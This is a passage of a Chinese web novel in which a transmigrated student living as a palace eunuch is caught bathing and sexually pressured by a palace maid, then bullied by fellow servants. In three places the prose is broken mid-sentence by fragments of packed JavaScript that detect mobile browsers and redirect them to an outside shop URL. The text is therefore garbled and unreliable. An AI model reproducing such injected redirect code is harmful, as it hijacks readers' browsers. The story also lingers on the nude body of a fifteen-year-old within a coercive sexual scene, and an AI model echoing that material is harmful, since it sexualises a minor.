l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892382|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?热水可能没有了,但夏天,冷水也行啊,只要能泡进去,痛痛快快洗去这一身的黏腻和疲惫…… 这么晚了,娘娘肯定早已安寝。浴堂那边,应该不会有专人看守了吧?毕竟只是洗澡的地方,又不是什么机要重地。自己偷偷溜进去,速战速决,洗完就回来,神不知鬼不觉…… 这个念头一旦出现,就像野草般疯狂蔓延,压过了对宫规的恐惧和对冯昭仪的敬畏。强烈的不适感和现代生活习惯的驱使,让他决定铤而走险。 他屏住呼吸,仔细听了听外面的动静。万籁俱寂,只有远处隐约传来规律性的更梆声,提醒着这是深宫深夜。 他轻手轻脚地起身,换上一套深色的旧内衣,外面罩上那件靛青色太监袍,这样万一被人看见,也能解释是起夜或者巡查。他拿起一块干净的白布,准备当做澡巾,悄无声息地溜出了自己的小屋。 承华宫的布局,他这几日跟着青黛走动,已经大致记在脑中。冯媛的寝殿位于主殿后方,而浴堂通常设在寝殿的侧后方,有独立的通道,以方便热水供应和排水。 他避开可能有守夜太监或宫女巡逻的主路,专挑树木阴影和廊柱的遮蔽处移动。心跳如擂鼓,在寂静的夜里显得格外清晰。每一步都走得小心翼翼,耳朵竖起来,捕捉着任何一丝不寻常的声响。 幸运的是,一路有惊无险。他顺利地摸到了寝殿侧后方的那排附属建筑前。借着朦胧的月光,他辨认出其中一扇门扉的样式与其他不同,更显精致,门楣上似乎还雕刻着莲花的纹样,这应该就是浴堂了。 他凑近门缝,仔细听了听,里面没有任何声音。又轻轻推了推门,门是从里面闩上的。这难不倒他,他在派办处见过各种锁具和门闩。他从怀里摸出一根平时用来固定头发磨得比较细的铜簪——这是他穿越后为数不多的现代智慧应用,以备不时之需。 将铜簪尖端小心翼翼地探入门缝,凭着感觉轻轻拨动里面的门闩。 一阵细微的“咔哒”声后,门闩滑开了。 关禧心中一喜,再次确认四周无人,然后像一尾游鱼般,迅速闪身挤了进去,反手将门轻轻掩上,没有闩死,为自己留好退路。 浴堂内一片漆黑,只有些许月光透过高处的透气窗棂洒进来,勾勒出室内大致的轮廓。 他摸索着向前,脚下是光滑微凉的石板。眼睛逐渐适应了黑暗,他看到房间中央,果然有一个用汉白玉砌成的约莫丈许见方浴池。池壁雕刻着精美的缠枝莲纹,池水在微光下泛着粼粼的幽光,水面平静无波。 是冷水,但这已经足够让关禧欣喜若狂了。 他迫不及待地走到池边,蹲下身,伸手探入水中。水温微凉,恰到好处地驱散了夏夜的闷热。他甚至能感觉到水流拂过指尖的柔滑触感。 再也忍不住了。 他迅速脱下身上的太监袍和内衣,将那具属于小离子瘦削却已开始显露出男子轮廓的身体,完全暴露在清凉的空气中。随即,他小心翼翼地,尽量不发出太大声音,滑入了浴池之中。 当微凉的池水漫过肩膀,包裹住全身时,关禧舒服得几乎要喊出声,连日的黏腻,疲惫,紧张,都在这一刻被水流带走。 靠在光滑的池壁上,他用手掬起水,泼在脸上,搓洗着脖颈,手臂……恨不得将每一个毛孔都清洗干净。水流声在寂静的浴堂里显得格外清晰,但他已经顾不上了。 “吱呀”一声轻响。 浴堂通往寝殿内部的那扇门,被轻轻推开了。 柔和的光线透了进来。 光晕之中,一道清冷的女声徐徐响起: “我还在想,是哪个胆大包天的小贼,竟敢夜闯浴堂……原来,是你。” 12. 第 12 章 柔和的光线从推开的门缝中流淌进来,驱散了浴堂一角的黑暗,也清晰地勾勒出站在门口那人的轮廓。 正是青黛。 她一手提着一盏精致的八角宫灯,灯罩上绘着淡雅的兰草,另一只手随意地搭在门扉上。 “哗啦——!” 关禧本能地从水中站起,带起一片水花。冰冷的空气骤然包裹住躯体,他僵住,随即才意识到自己未着寸缕,慌忙沉回水中,只将头肩露出水面,双臂紧紧环抱在胸前,整个人蜷缩起来。 “青、青黛姐姐……” “我……小的该死!小的罪该万死!” 他声音发颤,身体因恐惧激起圈圈涟漪。水珠从湿发滚落,划过脸颊与纤细的颈,流过明晰的锁骨,最终没入池中。氤点的雾气稍掩水面,昏黄的灯光却仍淡淡勾勒出少年清瘦而初具线条的躯体。 单薄的胸膛,紧窄的腰身,以及…… 青黛的目光如水拂过微澜,掠过他半隐在波光中的锁骨,随呼吸轻伏的胸线,再向下,是没入水影深处的腰腹轮廓。最后,视线微微一顿——那里因旧日手术而留下的痕迹,即便在蜷缩的姿态与水光的遮掩下,仍依稀可辨属于男性的部位。 关禧顺着她的目光低头,陡然意识到了什么,腾出一只手慌乱地向下捂去,另一只手仍死死抱着胸,整个人呈现出一种极度扭曲和羞耻的防御姿态,他的灵魂是女性,可这具身体,这具身体以如此不堪的方式暴露在另一个女性面前…… “小的……小的只是……身上实在太脏了……求姐姐饶命!求姐姐饶了小的这一次!” 他语无伦次地哀求,眼泪混着脸上的水珠滚落,分不清是池水还是泪水,他不敢想象等待自己的会是什么。 私闯昭仪娘娘浴堂,秽乱宫闱,任何一条都足以让他被乱棍打死。 青黛未应声,只提着灯,缓缓往前走了几步,停在池边。宫灯的光晕将关禧惨白惊恐的脸照得更加清晰,也将他浸泡在水中因为光线和水波折射而半隐半现的身体笼罩其中。 “饶命?”青黛终于开口,听不出怒意,“你可知,这是什么地方?” “这是娘娘的浴堂……”关禧把头埋得极低,恨不得整个人沉入水底。 “是啊,娘娘的浴堂。”青黛重复了一句,日光仍落在他身上,似在端详一件意外被打湿的珍贵瓷器,“小离子,你这胆子,倒比我想象的还要大得多。看来,你身上藏着的秘密,远不止表面上看起来这么……安分守己。” 关禧心脏狂跳,不敢接话,只觉得青黛的目光像能穿透皮肉,窥见他来自异世的魂。 “从你刚被王公公挑中,净身之后被人从蚕室抬出来,像块破布一样扔在通铺上等死的时候,我就留意到你了。”青黛又道,声音不高,在空旷的浴堂里带着回音,“王公公眼光确实毒。你这身骨相,生得是真好。好到……连陛下那样的人,看了名册画像,都难得地过问了一句。” 陛下……过问? 关禧如坠冰窟,浑身冰冷。悬在头顶的利剑,原来一直未曾移开。 “可惜啊,”青黛话锋一转,“王公公那人,贪心不足,既想用你这张脸攀附天颜,又舍不得马上把你献出去,总想奇货可居,或是用你在别处先换些好处。这才让你在派办处蹉跎了些时日,也才让我……和娘娘,有了机会。” 她提着灯,又靠近了一步,昏黄的光线几乎笼罩了关禧全身,“我要你来承华宫,一是看中你确实机敏,心思细,能用。这二嘛……”她的目光再次流连在关禧那张即使惊恐也难掩绝色的脸上,以及水下那具年轻的躯体,语气变得有些微妙,“自然也是看中了你这份……难得的颜色。” 关禧紧咬下唇,屈辱得浑身发颤。 青黛却似未见,自顾自地说了下去,声音压得更低,像带着钩子,直往人心里钻:“小离子,你进宫时间短,但有些事,稍微留心也该看出些端倪。陛下登基数年,为何至今连一位皇子帝姬都未曾诞下?你当真以为,是诸位娘娘主子们的问题吗?” 关禧一怔,隐约捕捉到了什么,又不敢深思。 青黛看着他眼中闪过的惊疑,轻笑一声,那笑声在寂静的浴堂里显得格外清晰,也格外刺耳,“陛下他……根本不好女色。否则,为何会设净舍,为何会偏爱你们这些半割的俊俏内侍?我们这些娘娘,名义上凤冠霞帔,尊贵无比,实则……不过是这深宫里,另一群守着活寡的可怜人罢了。” 原来如此,难怪小离子这样的半割之身会被特意挑选,难怪侍寝的内侍下场多是不好…… 皇帝他,根本就是…… “娘娘们尚且如此,何况我们这些跟在身边的宫女呢?”青黛话音添了一丝幽怨,她的目光如同实质,缓缓扫过关禧浸在水中的身体,从纤细的颈,到单薄的胸膛,从那纤细的脖颈,再到紧窄的腰肢,最后停留在那被他死死捂住的下身。 “长夜漫漫,宫墙寂寂……有个知情识趣、模样又可心的人在身边,排解些寂寞,总好过对着冰冷的宫灯,一夜夜数着更漏,直到红颜老去,枯骨成灰,你说……是不是?” 话音落下,浴堂内陷入了一片死寂。 只有宫灯燃烧时细微的噼啪声,和关禧急促的喘息声,他以为自己逃离的是成为皇帝玩物的命运,却没想到,刚出虎口,又可能落入另一个同样可怕的境地。 看着关禧那副濒临崩溃却强撑的模样,青黛眼中的神色更深了。她缓缓伸出手,那保养得宜的纤指,似要触碰关禧湿透的脸频,或是他轻颤的肩。 “现在,你可以好好想想,是愿意被送回王公公那里,等着不知何时被送到陛下跟前,生死由命?还是……留在承华宫,乖乖听我的话?” 青黛的话像冰锥,凿穿了关禧最后一点侥幸的幻想。皇帝不好女色,却偏爱这些半割的内侍……那被送上去的下场,恐怕比死更不堪。而眼前这位看似清冷的掌事宫女,话语里的暗示与威逼,同样令人胆寒。 两个选择,都指向屈辱和丧失自我。 可电光石火间,那属于关禧,来自现代的灵魂,狠狠掐断了濒临崩溃的神经。 服侍那个心理扭曲的皇帝?绝不! 那……服侍眼前这位香软却深不可测的姐姐? 屈辱吗?当然屈辱,恶心吗?想到要用这具男子的身体去……就胃里翻涌。 可她关禧骨子里喜欢的,本来就是女人,虽然这种喜欢在十七年循规蹈矩的学生生涯里,更多是懵懂的好感和对同性的亲近依赖,从未宣之于口,但在此刻绝境下,这点隐秘的取向认知,竟成了天平上一个意想不到的砝码。 服侍一个变态皇帝,和……应付一个深宫寂寞,可能同样扭曲但至少是女性的青黛? 这根本不需要选。 求生的本能和那点隐秘的倾向混杂在一起,催生出一个看似屈服,实则蕴含算计的决定。他必须抓住眼前这根看似同样有毒,或许毒性稍缓的稻草。他需要时间,需要缓冲,需要在这承华宫先站稳脚跟。 几乎是青黛话音落下的瞬间,关禧做出了反应。 他没有再试图遮掩身体,就着那湿透狼狈,半遮半掩的姿态,向前一扑,重重地将额头磕在了浴池冰凉的汉白玉边缘上。 “咚!” 一声闷响,在寂静的浴堂里格外清晰。 他没有丝毫犹豫,紧接着是第二下,第三下……力道不轻,额前迅速泛起红痕。 “青黛姐姐!小的错了!小的猪油蒙了心,小的该死!”他抬起头,脸上湿漉漉的分不清是水是泪,眼眶通红,像极了那些宫廷剧里走投无路,只能将全部希望寄托于上位者一丝怜悯的小的。 “姐姐!求姐姐给小的一条活路!小的愿留在承华宫,愿为姐姐当牛做马,肝脑涂地!小的这条贱命是姐姐和娘娘捡回来的,小的什么都听姐姐的!只求姐姐……只求姐姐垂怜,给小的一个效忠的机会!” 他一边说,一边再次磕头,姿态卑微到了极致,湿发黏在苍白的额角和脸颊,更添几分凄楚可怜,在这种时候,任何犹豫,任何谈条件都是找死,必须先表忠心,把自己彻底摆到砧板上,让对方觉得已经完全拿捏。 青黛伸出的手顿在了半空,看着关禧这突如其来激烈又卑微的表演,眼中闪过一丝讶异,随即又化为更深的玩味。 这小太监,反应倒快,也够狠得下心对自己。 关禧伏在池边,感觉青黛的目光像针一样刺在背上,他知道光是这样还不够,必须加上一点诚意,一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892383|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让对方觉得可以掌控,又不至于立刻就要兑现用途的诚意。 他微微抬起湿漉漉的脸,眼神躲闪,声音压得更低,断断续续: “况且……况且小的……小的的身子……之前伤得实在太重,虽侥幸捡回一条命,但……但终究未好利索。有些地方……至今仍时感隐痛,恐、恐难……难堪大用。只怕……只怕会扫了姐姐的兴致,反是不美……” 他说着,脸上腾起一片因为羞耻的红晕,眼神慌乱地飘向自己掩在水下的下身,又触电般移开,长长的睫毛被泪水浸湿,簌簌颤抖,将一个因重伤未愈,心有余而力不足,又恐惧又羞愧的小太监演得入木三分。 十五岁,在这个时代,富贵人家的少爷或许已通晓人事,但小离子出身贫寒,入宫前营养不良,入宫后又遭去势重创,缠绵病榻许久,如今虽表面好转,但落下点隐疾,岂不是合情合理?这是他能想到最直接,也最可能暂时搪塞过去的理由。 浴堂内陷入了短暂的寂静,只有宫灯烛火轻微的哔剥声。 青黛缓缓收回了停在半空的手,指尖的蔻丹在灯光下泛着幽微的光泽。她打量着关禧,目光在他额头的红痕,纤细紧绷的身体,以及那故作羞愧躲闪的眼神上流转。 “伤未好利索?”她重复了一句,语气听不出喜怒,“王公公倒是心急,还没调理妥当,就敢往派办处塞。” 这话似是指责王公公,又像是接受了关禧的解释。 关禧伏在地上,心脏狂跳,不敢接话。 良久,青黛终于轻轻吁了口气,那声音里带着一丝若有若无的叹息,不知是为关禧,还是为这深宫寂寥的夜晚。 “罢了。”她淡淡道,语气恢复了平日那种带着距离感的平稳,“既然你愿意留下,也还算识趣。今晚之事,我便当没看见。你身子既然不便,便好生将养着。娘娘那边,自有我去说。” 她顿了顿,眼神微冷:“不过,小离子,你要记住今天说的话。在这承华宫,眼睛放亮些,手脚勤快些,该你知道的知道,不该你知道的,把嘴闭紧。你的用处,不在于一时。若有二心,或是不听吩咐……” 后话未尽,寒意已明。 关禧立刻重重磕头,“小的不敢!小的谢姐姐不杀之恩!谢姐姐给小的机会!小的此生必忠于娘娘,忠于姐姐,绝无二心!” “起来吧。”青黛终于说道,脸上没有什么表情,既无被取悦的满意,也无被冒犯的恼怒,“把身上擦干,穿上衣服,悄悄回去。今晚,你从未离开过你的房间。” “是!小的明白!”关禧如蒙大赦,连忙从冰冷的池水中爬出,也顾不上擦拭,胡乱套上那身太监袍。 青黛不再看他,提着宫灯,转身,缓缓走向通往寝殿的那扇门。在推门离开前,她脚步微顿,侧过半边脸,灯影在她侧颜上投下暧昧的阴影。 “好好养着。”她的声音飘过来,很轻,却带着不容置疑的意味,“我会……看着你的。” 门轻轻合拢,将柔和的光线与那道青色身影一同带走。 浴堂重新陷入昏暗,只余下透气窗棂透入的微薄月光,和池中涟漪未平的水面。 关禧脱力般地滑坐在池边,大口大口地喘着气,心脏还在狂跳,后背有被冷汗浸透,与池水混在一起,一片冰凉。 他赌赢了第一步。 用最快的滑跪和半真半假的隐疾借口,暂时稳住了青黛,保住了留在承华宫的机会。 但这只是开始。 青黛和冯昭仪究竟想从他这里得到什么?仅仅是一个容貌出众,心思细腻的工具人?还是另有所图?那句“排解寂寞”是试探,是玩笑,还是某种危险的预告? 而他的身体……十五岁的少年躯体,在逐渐恢复健康之后,会不会真的出现他无法控制,属于男性的生理反应?到那时,这个借口还能用多久? 关禧伸手,撩起池中冰冷的积水,用力泼在自己滚烫的脸上。 不能停下,不能松懈。 他必须更快地获取冯昭仪的信任,找到自己不可替代的价值,同时,继续寻找任何可能回归现代,或者至少彻底逃离这个牢笼的线索。 在这吃人的深宫里,他就像走在万丈悬崖边的细丝上,一步踏错,便是粉身碎骨。 13. 第 13 章 卯时三刻,天光初透。 关禧已换上了干爽的靛青色太监服,对着水盆里模糊的倒影,仔细将最后一丝头发抿入帽中,随即推开房门。 承华宫的清晨安静得有些肃穆,远处隐约传来洒扫庭除的沙沙声。 按照青黛昨日的吩咐,他该去前殿西侧书斋候命。 可刚穿过一道月亮门,踏入通往书斋的廊庑,迎面便遇上了三个同样穿着靛青色太监服,正抬着水桶往膳房方向去的太监。 看服色,与他一样,都是承华宫的二等内侍。 为首的是一个面皮微黄,身材略胖的太监,约莫二十出头,眉毛稀疏,眼神带着股油滑的审视。他身后两人一高一矮,高的那个吊梢眼,矮的那个一脸雀斑,都正打量着关禧。 关禧停下脚步,侧身避让,微微垂首,算是行礼。 那胖太监脚步没停,抬着的水桶晃了晃,几滴浑浊的污水溅出来,恰好落在关禧刚擦干净的靴面上。 “哟,没长眼啊?挡着道了!”胖太监先发制人,吊梢嗓子带着刻意拔高的不满。 关禧抬眼,对上对方毫不掩饰的打量和那一丝挑衅,将腰弯得更低些,声音平静:“对不住,这位哥哥,是我没留意。哥哥们辛苦。” 矮个雀斑太监嗤笑一声:“哥哥?谁是你哥哥?新来的,懂不懂规矩?见了曹公公,还不问安?” 原来这胖太监姓曹。关禧从善如流,改口道:“曹公公。” 曹旺从鼻子里哼出一声,水桶也没放下,就着抬桶的姿势,上下下扫视关禧,目光在他过分精致的五官上流连片刻,撇了撇嘴:“你就是那个……小离子?王公公那儿过来,青黛姐姐亲自安排住单间的?” “是。”关禧答得简短。 “呵,能耐不小啊。”曹旺拖长了调子,眼神里的嫉妒不加掩饰,“一来就占了好位置,也不知道使了什么手段,哄得青黛姐姐高兴。” 高个吊梢眼阴阳怪气地接话:“还能有什么手段?不就凭那张脸呗。咱们承华宫,什么时候缺过踏实干活的?缺的就是这种……嗯,模样周正的。” 这话里的恶意和影射,再明显不过。旁边路过的两个洒扫小宫女听见,飞快地瞥了关禧一眼,又低下头匆匆走了。 关禧袖中的手微微收紧,指甲掐进掌心,脸上却依旧没什么表情,只重复道:“我初来乍到,诸多不懂,还请曹公公和两位□□后多提点。” “提点?”曹旺嗤笑,“我们可提点不起。青黛姐姐看重的人,自然有好前程。咱们这些粗使笨拙的,也就配干些抬水洒扫的活计。行了,别杵这儿碍事,该干嘛干嘛去!” 说着,故意又晃了一下水桶,这才大摇大摆地带着两人从关禧身边挤了过去,那矮个的还“不小心”用肩膀撞了他一下。 关禧被撞得踉跄半步,站稳后,回头看了一眼那三人的背影,眼神幽深。他拍了拍靴面上那点污渍,整理了一下衣袍,继续朝书斋走去。 书斋里,青黛已经到了,正在整理案上的几份文书,见关禧进来,她抬眼看了看,指了指昨日那张小书案,“今日先把这些核对完。” 她推过一摞新的册子,是关于去岁秋冬各宫炭火用度的记录,“重点留意玉芙宫、缀锦宫、还有……长春宫。”说出最后一个宫名时,语气有片刻极其细微的凝滞。 长春宫?关禧心中记下,那是李婕妤的住处,一位并不得宠,几乎没什么存在感的低位妃嫔。冯昭仪为何要特意留意那里? 他不敢多问,应了声“是”,便坐下开始工作。 书斋里很安静,只有纸张翻动的沙沙声和笔尖划过纸面的细微声响。青黛偶尔会起身出去处理别的事情,留关禧一人在此。 晌午时分,一个小宫女提着食盒进来,轻手轻脚地放在关禧案边,又对青黛行了一礼,便退下了。食盒里是两菜一汤并一碗米饭。 关禧正准备用饭,书斋的门又被推开了。曹旺端着个托盘走了进来,托盘上是青黛的午膳,显然比关禧的又要丰盛些。 “青黛姐姐,您的午膳。”曹旺满脸堆笑,将托盘小心放在青黛案头,眼角余光瞥向关禧案上的食盒,看清菜色后,脸上的笑容淡了些,眼神更沉。 青黛点点头:“放着吧。小离子,你也先用饭。” “谢姐姐。”关禧这才拿起筷子。 曹旺却没立刻走,站在青黛案旁,搓着手,似是有话要说:“姐姐,后殿东厢廊下那几盏宫灯,灯罩旧得厉害,是不是该换换了?还有,小花园西北角那处青砖松动了,下雨容易溅泥,您看……” 青黛一边用饭,一边淡淡应着:“嗯,灯罩去内务府支领,记档。青砖松动找修缮处的来看,报个单子过来。” “是是是。”曹旺连连应声,又状似无意地看了一眼埋头吃饭,两耳不闻窗外事的关禧,笑道,“这些琐事本不该拿来烦姐姐,只是……如今咱们宫里添了新兄弟,也不知道这位小离子兄弟擅长些什么活计?小的们也好分派,免得他闲着,或者……耽误了姐姐交代的正事。”他刻意在“正事”上咬了重音。 关禧夹菜的手几不可察地顿了一下,继续将一筷子清炒豆芽送入口中,细嚼慢咽。 青黛放下银箸,拿起帕子拭了拭嘴角,这才抬眼看向曹旺,语气平静:“小离子是娘娘特意调来协助整理文书的,这些粗使活计,不必烦他。你们各司其职便是。” 曹旺脸上的笑容僵了僵,眼底掠过一丝不甘,但很快掩饰过去,点头哈腰:“是,小的明白了。那……小的不打扰姐姐用膳了。”他躬身退下,临出门前,又飞快地剜了关禧一眼。 关禧始终没有抬头,直到曹旺的脚步声消失在门外,他才慢慢咽下最后一口饭。青黛的话看似维护,实则也把他放在了特殊的位置上,更易招致嫉恨。而且,这协助整理文书的职司,看似清贵,实则是将他与承华宫其他太监的日常彻底割裂开来,既是一种保护性的隔离,也可能是一种孤立。 下午核对炭火记录时,关禧果然发现了些许端倪。玉芙宫的用炭量在去岁冬月异常偏高,且多次以“昭容畏寒”为由额外支领了昂贵的银骨炭。而长春宫的李婕妤,记录显示她份例内的黑炭都未曾领足,有一次甚至批注“体弱畏烟,减半”。 一边是烈火烹油,奢靡无度,一边是冷灶冰窖,艰难度日。 这后宫冷暖,跃然纸上。 关禧将这两处异常仔细标记,附上简要对比。他不知道冯昭仪要这些信息具体何用,但做好本分,呈现价值,是他目前唯一能做的。 接下来的几天,类似的排挤和孤立不断上演。 用膳时,他的食盒总是最后被送来,有时甚至温凉。去茶水间取水,常遇到恰好没水或水未烧开。他负责的区域,洒扫的粗使太监总会遗漏一些角落。路上遇见曹旺那一伙人,冷嘲热讽,指桑骂槐更是家常便饭。 同住一片排房的其他低等太监宫女,见他独居一室又得青黛青眼,大多也避而远之,不愿与他多有交集,怕惹上是非。只有个别年纪极小,尚未被这深宫完全浸透的小宫女或小太监,偶尔会偷偷递给他一个好奇或略带同情的眼神。 关禧全都默默受了。 他清楚自己的处境。初来乍到,根基全无,唯一的倚仗是冯昭仪和青黛那点尚未可知的看重。这看重如同空中楼阁,随时可能坍塌。任何一点反抗或抱怨,都可能成为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892384|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别人攻讦的借口,甚至可能让青黛觉得他不堪用,惹麻烦。 他必须忍耐,必须像一株石缝里的野草,先牢牢抓住一点泥土,扎下根,再图生长。 他将所有精力都投入到青黛交代的文书工作中,力求完美。闲暇时,也绝不四处乱逛,要么待在书斋,要么就在自己小屋附近活动,绝不给人留下任何把柄。对于曹旺等人的挑衅,他永远低眉顺眼,错处全揽在自己身上,态度恭顺到近乎懦弱。 这副逆来顺受的样子,让曹旺等人更加得意,却也渐渐觉得无趣。 毕竟,拳头打在棉花上,终究没什么意思。 可,关禧的内心从未停止盘算。他在默默观察,观察承华宫的人事关系,观察冯昭仪处理宫务的风格,观察青黛的一举一动。他也在等待,等待一个能让他稍微扭转局面,或者至少获得一点点自主空间的机会。 这天傍晚,关禧核对完一批器物修缮记录,正准备将册子交还给青黛,却发现青黛不在书斋。他等了一会儿,仍不见人回来,便将册子整齐放好在青黛案头,自己退了出来。 走到廊下,正看见曹旺正指挥着两个小太监,笨手笨脚地试图更换檐下一盏损坏的宫灯。那灯位置颇高,需要搭梯子。两个小太监显然有些畏高,梯子架得歪斜,曹旺在下面骂骂咧咧。 关禧脚步顿了顿。他原本想绕道走开,目光扫过那盏宫灯和下面摆放的工具时,心头微微一动。 他在现代动手能力不差,家里的电灯电器简单维修没少干。这种宫灯结构看似复杂,无非是灯座,灯罩,悬链和内部烛台。眼前这盏,似乎是固定灯罩的卡榫因锈蚀或撞击松脱了。 眼看一个小太监战战兢兢爬上去,摸索半天却不得要领,差点把灯罩摔下来,曹旺在下面急得跳脚:“蠢货!笨死算了!这点事都做不好!” 关禧抿了抿唇,终是走了过去,在曹旺身后两步处停下,低声道:“曹公公,我……我或许可以试试。” 曹旺回头,见是他,先是一愣,随即满脸不耐烦:“你?你来添什么乱?一边去!别碍事!” 关禧不退反进,指了指那灯罩:“我看,好像是灯罩上方这个铜片卡扣松脱了,钩不住悬链上的环。若能将它扳正,或者找个细铁丝暂时固定一下,或许就能挂稳。” 曹旺将信将疑,抬头看了看。旁边那个刚从梯子上下来的小太监也小声嘀咕:“好像……真是那里松了。” “你会弄?”曹旺斜睨着关禧,语气不善,但少了几分暴躁。 “我在家时,见过匠人摆弄类似的东西,可以一试。若不行,再想他法。”关禧没有把话说满。 曹旺犹豫了一下,眼下确实没别的办法,青黛交代了今晚必须换好。他挥挥手,没好气道:“那你就试试!小心点,弄坏了仔细你的皮!” 关禧没再多言,走到梯子旁。他先检查了一下梯子的稳固性,稍微调整了角度,然后才利落地爬了上去,动作远比刚才那小太监沉稳。他仔细观察了一下卡扣的情况,从袖中摸出那根磨尖的铜簪,小心地伸进缝隙,轻轻撬动,扳正变形的铜片,又让下面的人递上一小段捆扎东西用的细麻绳,灵活地缠绕固定了几下。 “好了,曹公公,可以挂上试试。”他下来,退到一边。 曹旺狐疑地让人将灯罩挂上去。咔哒一声轻响,灯罩稳稳挂住,严丝合缝。 两个小太监松了口气。曹旺脸色变幻,盯着关禧看了几眼,哼了一声:“倒是有点歪门邪道的手艺。”话虽如此,那股显而易见的敌意淡了一丝丝。 关禧垂首:“侥幸而已。若没什么吩咐,我先告退了。” “去吧去吧。”曹旺挥挥手。 14. 第 14 章 夜深了,皇城的梆子声遥遥传来,一声,又一声。 关禧吹熄了灯,和衣躺在床铺上,睁着眼,望着头顶模糊的帐幔。 “爹的,这日子什么时候是个头……” 白日里那些屈辱,忍耐,算计和小心翼翼,像潮水一样在寂静中退去,露出底下更尖锐,更无解的焦虑。 关于穿越本身。 人一闲下来,就开始胡思乱想。 那个晚自习的教室。惨白的日光灯,唰唰的笔尖摩擦声,还有数学卷子上最后那道扭曲的函数图像……心脏那一下尖锐的刺痛,眼前骤然一黑。 然后呢? 没有白光,没有系统提示音,没有“叮!宿主绑定成功!”——什么都没有。就像断电的电脑,啪,直接黑屏,再开机,就成了裹在草席里,下身剧痛,恶臭熏天的小太监。 “这不科学啊……”他喃喃自语,对着空气发出二十一世纪灵魂的质问,“别人穿越,好歹有个玉佩,祖传戒指,或者被雷劈一下当媒介吧?我算什么?写数学题写到猝死,附赠穿越体验券?还特么是地狱难度的太监体验卡?” 金手指?系统?空间?老爷爷? 没有,统统没有。活到现在,从停尸房诈尸,到在净舍挺尸,再到文书房,派办处,直到现在这看似安稳实则更危险的承华宫,全靠他这还算灵光的小脑袋瓜,和……这具身体原主留下的,过于惹眼的美貌。 美貌?关禧在黑暗中扯了扯嘴角,露出一个比哭还难看的笑。这算什么金手指?在这吃人的后宫,无权无势的美貌,尤其是他这种身份下的美貌,根本就是催命符,是随时可能被献祭的羔羊,是王公公奇货可居的筹码,是青黛眼中排解寂寞的潜在玩物,是其他太监嫉恨的源头。 至于宫斗?他一个十七岁的高中生,人生最大的战斗经验是和数学题死磕,和父母关于晚上能不能多玩一小时游戏的辩论,以及……偷偷看小说时和班主任的斗智斗勇。 他看过《**传》,刷过一些宫斗剧,知道“一丈红”,“麝香”,“堕了么订单”,可那和亲身经历是一回事吗? 那些剧里的主角,哪个不是家世显赫,自带光环,或者有逆天运气?再不济,也有个忠心耿耿的丫鬟嬷嬷出谋划策。他有什么?一个胆小的石头?一个心怀叵测的青黛?一个深不可测的冯昭仪?还有一群虎视眈眈,等着揪他错处的同事? 他懂历史吗?知道这个“晟”朝是哪个平行时空的产物吗?不知道。他懂药理吗?能分辨出香料里有没有掺东西吗?不能。他懂人心吗?能看透冯昭仪温和表面下到底在谋划什么吗?看不透。 他唯一的优势,可能就是来自信息爆炸时代的思维方式,一些基础的逻辑和科学常识,以及……被高考磨砺出来的,死磕到底的韧劲。可这些,在真正的宫廷倾轧,生死博弈面前,够用吗? 今天他能靠一点小聪明修好宫灯,暂时缓解曹旺的敌意。明天呢?后天呢?青黛那句“好好养着,我会看着你”,像一道无形的枷锁。冯昭仪让他整理的那些不合规制的用度记录,又究竟意欲何为?是真要整顿宫闱,还是想抓住谁的把柄? 他感觉自己像被抛进了一个没有攻略的生存游戏,地图全黑,NPC个个心怀鬼胎,任务目标不明,血条还短得可怜。 “冷静,关禧,冷静……”他用力掐了自己大腿一把,疼痛让纷乱的思绪稍微集中,“不能自乱阵脚。没有系统,那就自己当系统。没有外挂,那就发掘自身优势。” 他开始强迫自己复盘,像解数学题一样,列出已知条件和未知数。 已知:穿越成了太监小离子,身份卑贱,但容貌出众,劣势大于优势。身处晟朝后宫,皇帝有特殊癖好,侍寝风险极高。目前依附于承华宫冯昭仪,直属上司是掌事宫女青黛,两人目的不明,但暂时需要他,可能是文书能力,也可能是其他。同僚关系紧张,有以曹旺为首的排挤势力。 未知:穿越原因及能否回去,首要长期目标。冯昭仪的真实意图和宫斗站位。青黛的兴趣会发展到哪一步。皇帝那边的风险何时会再次降临。自身的隐疾借口能用多久。 需求:短期自保,获取冯昭仪更多信任,在承华宫站稳脚跟。中期目标是获取更多信息,了解这个世界,寻找可能的出宫或回归线索。长期……要么找到回去的方法,要么在这深宫爬到足够高,高到能掌控自己命运的位置。 优势:超越时代的思维,需谨慎应用。尚可的观察力和记忆力。逐渐恢复的身体。在派办处和承华宫接触信息的机会。冯昭仪目前提供的保护伞。 劣势:一切。身份,性别认知混乱,孤立无援,缺乏古代生存技能,对宫廷阴谋毫无经验。 “所以,目前的核心任务,还是当好冯昭仪的文书工具人。”关禧盯着帐顶,眼神逐渐聚焦,“把青黛交代的每一件事做到极致,从中提炼出有价值的信息,但绝不主动打听,不妄加猜测。同时,观察,持续观察冯昭仪处理宫务的方式,她与各宫的关系,她的喜好和忌讳。” “对青黛,继续维持感恩戴德、身体不便、忠心可用的人设,保持距离,绝不主动靠近,但也不抗拒合理的吩咐。拖,能拖一时是一时。” 